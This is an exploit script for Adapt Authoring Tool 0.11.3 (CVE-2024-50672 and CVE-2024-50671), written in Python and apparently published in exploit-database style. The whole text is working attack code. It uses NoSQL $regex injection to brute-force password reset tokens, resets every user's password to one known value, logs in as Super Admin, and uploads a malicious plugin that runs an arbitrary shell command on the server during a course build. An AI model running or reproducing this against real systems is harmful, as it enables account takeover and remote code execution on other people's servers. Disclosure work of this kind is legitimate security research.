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# Exploit Title: Adapt Authoring Tool 0.11.3 - Remote Command Execution (RCE) # Date: 2024-11-24 # Exploit Author: Eui Chul Chung # Vendor Homepage: https://www.adaptlearning.org/ # Software Link: https://github.com/adaptlearning/adapt_authoring # Version: 0.11.3 # CVE Identifier: CVE-2024-50672 , CVE-2024-50671 import io import sys import json import zipfile import argparse import requests import textwrap def get_session_cookie(username, password): data = {"email": username, "password": password} res = requests.post(f"{args.url}/api/login", data=data) if res.status_code == 200: print(f"[+] Login as {username}") return res.cookies.get_dict() return None def get_users(): session_cookie = get_session_cookie(args.username, args.password) if session_cookie is None: print("[-] Login failed") sys.exit() res = requests.get(f"{args.url}/api/user", cookies=session_cookie) users = [ {"email": user["email"], "role": user["roles"][0]["name"]} for user in json.loads(res.text) ] roles = {"Authenticated User": 1, "Course Creator": 2, "Super Admin": 3} users.sort(key=lambda user: roles[user["role"]]) for user in users: print(f"[+] {user['email']} ({user['role']})") return users def reset_password(users): # Overwrite potentially expired password reset tokens for user in users: data = {"email": user["email"]} requests.post(f"{args.url}/api/createtoken", data=data) print("[+] Generate password reset token for every user") valid_characters = "0123456789abcdef" next_tokens = ["^"] # Ensure that only a single result is returned at a time while next_tokens: prev_tokens = next_tokens next_tokens = [] for token in prev_tokens: for ch in valid_characters: data = {"token": {"$regex": token + ch}, "password": "HaXX0r3d!"} res = requests.put( f"{args.url}/api/userpasswordreset/w00tw00t", json=data, ) # Multiple results returned if res.status_code == 500: next_tokens.append(token + ch) print("[+] Reset every password to HaXX0r3d!") def create_plugin(plugin_name): manifest = { "name": plugin_name, "version": "1.0.0", "extension": "exploit", "main": "/js/main.js", "displayName": "exploit", "keywords": ["adapt-plugin", "adapt-extension"], "scripts": {"adaptpostcopy": "/scripts/postcopy.js"}, } property = { "properties": { "pluginLocations": { "type": "object", "properties": {"course": {"type": "object"}}, } } } payload = textwrap.dedent( f""" const {{ exec }} = require("child_process"); module.exports = async function (fs, path, log, options, done) {{ try {{ exec("{args.command}"); }} catch (err) {{ log(err); }} done(); }}; """ ).strip() plugin = io.BytesIO() with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file: zip_file.writestr( f"{plugin_name}/bower.json", io.BytesIO(json.dumps(manifest).encode()).getvalue(), ) zip_file.writestr( f"{plugin_name}/properties.schema", io.BytesIO(json.dumps(property).encode()).getvalue(), ) zip_file.writestr( f"{plugin_name}/js/main.js", io.BytesIO("".encode()).getvalue() ) zip_file.writestr( f"{plugin_name}/scripts/postcopy.js", io.BytesIO(payload.encode()).getvalue(), ) plugin.seek(0) return plugin def find_plugin(cookies, plugin_type, plugin_name): res = requests.get(f"{args.url}/api/{plugin_type}type", cookies=cookies) for plugin in json.loads(res.text): if plugin["name"] == plugin_name: return plugin["_id"] return None def create_course(cookies): data = {} res = requests.post(f"{args.url}/api/content/course", cookies=cookies, json=data) course_id = json.loads(res.text)["_id"] data = {"_courseId": course_id, "_parentId": course_id} res = requests.post( f"{args.url}/api/content/contentobject", cookies=cookies, json=data, ) content_id = json.loads(res.text)["_id"] data = {"_courseId": course_id, "_parentId": content_id} res = requests.post(f"{args.url}/api/content/article", cookies=cookies, json=data) article_id = json.loads(res.text)["_id"] data = {"_courseId": course_id, "_parentId": article_id} res = requests.post(f"{args.url}/api/content/block", cookies=cookies, json=data) block_id = json.loads(res.text)["_id"] component_id = find_plugin(cookies, "component", "adapt-contrib-text") data = { "_courseId": course_id, "_parentId": block_id, "_component": "text", "_componentType": component_id, } requests.post(f"{args.url}/api/content/component", cookies=cookies, json=data) return course_id def rce(users): session_cookie = None for user in users: if user["role"] == "Super Admin": session_cookie = get_session_cookie(user["email"], "HaXX0r3d!") break if session_cookie is None: print("[-] Failed to login as Super Account") sys.exit() plugin_name = "adapt-contrib-xapi" print(f"[+] Create malicious plugin : {plugin_name}") plugin = create_plugin(plugin_name) print("[+] Scan installed plugins") plugin_id = find_plugin(session_cookie, "extension", plugin_name) if plugin_id is None: print(f"[+] {plugin_name} not found") else: print(f"[+] Found {plugin_name}") print(f"[+] Remove {plugin_name}") requests.delete( f"{args.url}/api/extensiontype/{plugin_id}", cookies=session_cookie, ) print("[+] Upload plugin") files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")} requests.post( f"{args.url}/api/upload/contentplugin", cookies=session_cookie, files=files, ) print("[+] Find uploaded plugin") plugin_id = find_plugin(session_cookie, "extension", plugin_name) if plugin_id is None: print(f"[-] {plugin_name} not found") sys.exit() print(f"[+] Plugin ID : {plugin_id}") print("[+] Add plugin to new courses") data = {"_isAddedByDefault": True} requests.put( f"{args.url}/api/extensiontype/{plugin_id}", cookies=session_cookie, json=data, ) print("[+] Create a new course") course_id = create_course(session_cookie) print("[+] Build course") res = requests.get( f"{args.url}/api/output/adapt/preview/{course_id}", cookies=session_cookie, ) if res.status_code == 200: print("[+] Command execution succeeded") else: print("[-] Command execution failed") print("[+] Remove course") requests.delete( f"{args.url}/api/content/course/{course_id}", cookies=session_cookie, ) def main(): print("[*] Retrieve user information") users = get_users() print("\n[*] Reset password") reset_password(users) print("\n[*] Perform remote code execution") rce(users) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument( "-u", dest="url", help="Site URL (e.g.www.adaptlearning.org)", type=str, required=True, ) parser.add_argument( "-U", dest="username", help="Username to authenticate as", type=str, required=True, ) parser.add_argument( "-P", dest="password", help="Password for the specified username", type=str, required=True, ) parser.add_argument( "-c", dest="command", help="Command to execute (e.g. touch /tmp/pwned)", type=str, default="touch /tmp/pwned", ) args = parser.parse_args() main() |
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